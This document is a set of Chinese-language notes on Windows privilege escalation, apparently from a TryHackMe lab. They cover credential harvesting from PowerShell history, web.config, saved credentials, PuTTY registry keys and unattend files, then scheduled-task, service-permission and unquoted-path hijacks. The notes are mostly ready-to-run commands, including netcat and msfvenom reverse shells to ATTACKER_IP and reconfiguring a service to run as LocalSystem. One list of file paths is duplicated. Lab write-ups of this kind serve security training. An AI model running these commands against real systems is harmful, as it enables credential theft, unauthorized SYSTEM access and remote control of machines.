一:从常用地点收集密码
1.查看powershell历史
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
2.查看IIS配置文件web.config
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
3.利用windows凭据上保存的密码:
cmdkey /list
runas /savecred /user:admin cmd.exe
4从软件检索凭证:PuTTY
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
5## 无人值守的 Windows 安装
此类安装需要使用管理员帐户来执行初始设置,该设置最终可能存储在计算机中的以下位置:
- C:\Unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml
- 此类安装需要使用管理员帐户来执行初始设置,该设置最终可能存储在计算机中的以下位置:
- C:\Unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml
二:利用计划任务
可以使用不带任何选项的 `schtasks` 命令从命令行列出计划任务
要查询指定任务的详细信息可以用下面命令
schtasks /query /tn vulntask /fo list /v
使用icacls检查可执行文件的权限
icacls c:\tasks\schtask.bat
如下:
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(F)
(F)表示具有完全访问权限
向任务计划中添加任务
echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
下次运行计划任务时,就应该会收到具有taskusr1权限的反向shell
手动执行任务schtasks /run /tn vulntask
三.滥用服务错误配置
Windows 服务由服务控制管理器 (SCM) 管理。 SCM 是一个负责根据需要管理服务状态、检查任何给定服务的当前状态并通常提供配置服务的方法的进程,Windows 计算机上的每个服务都有一个关联的可执行文件,每当服务启动时,SCM 都会运行该可执行文件。
所有服务配置都存储在注册表中的 `HKLM\SYSTEM\CurrentControlSet\Services\` 下:
如果与服务关联的可执行文件的权限较弱,允许攻击者修改或替换它,则攻击者可以轻松获得该服务帐户的权限。
首先,我们将使用 `sc` 查询服务配置:为了了解其工作原理,让我们看一下 Splinterware System Scheduler 上发现的漏洞
sc qc WindowsScheduler
我们可以看到漏洞软件安装的服务以 svcuser1 身份运行,与该服务关联的可执行文件位于 `C:\Progra~2\System~1\WService.exe` 中。然后我们继续检查可执行文件的权限:
Everyone 组对服务的可执行文件具有修改权限 (M),这意味着我们可以简单地用我们偏好的任何有效负载覆盖它,并且该服务将使用配置的用户帐户的权限执行它。
四.未加引号的服务路径
正常路径
BINARY_PATH_NAME : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -service
未加引号路径
BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
当路径未加引号时,由于空格常用作参数分隔符,SCM会按顺序搜索可执行文件
1C:\\MyPrograms\\Disk.exe
2 C:\\MyPrograms\\Disk Sorter.exe
3C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe
检查目录权限icacls c:\MyPrograms 发现允许用户创建子目录和文件。
将msfvenom生成的payload (msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe-service -o rev-svc.exe)
移动到C:\\MyPrograms\\Disk.exe
即可生成反向shell,并且具有该服务配置的用户权限
五 ## 不安全的服务权限
如果服务的可执行 DACL 配置良好,并且正确引用了服务的二进制路径,那么您仍然有机会利用该服务。如果服务 DACL(不是服务的可执行 DACL)允许您修改服务的配置,您将能够重新配置该服务。这将允许您指向所需的任何可执行文件并使用您喜欢的任何帐户运行它,包括 SYSTEM 本身。
可以借助 Sysinternals 套件中的 Accesschk
检查thmservice的命令是
C:\tools\AccessChk> accesschk64.exe -qlc thmservice
这里我们可以看到 `BUILTIN\\Users` 组拥有SERVICE_ALL_ACCESS权限,这意味着任何用户都可以重新配置服务。
然后,我们将反向 shell 可执行文件传输到目标机器
授予每个人执行您的有效负载的权限
icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
更改服务关联的可执行文件和帐户,我们可以使用以下命令
sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
然后重启服务即可在攻击机上收到反弹shell
C:\> sc stop THMService
C:\> sc start THMService
六 滥用危险特权:
权限是帐户执行特定系统相关任务所拥有的权利,每个用户都有一组分配的权限,可以使用以下命令进行检查:
whoami /priv
可以在 Priv2Admin Github 项目上找到可利用权限的完整列表 网址如下
https://github.com/gtworek/Priv2Admin
七 滥用易受攻击的软件
下面的命令将转储它可以在已安装的软件上收集的信息
wmic product get name,version,vendor
一旦我们收集了产品版本信息,我们就可以随时在exploit-db、packetstorm或者google搜索现有漏洞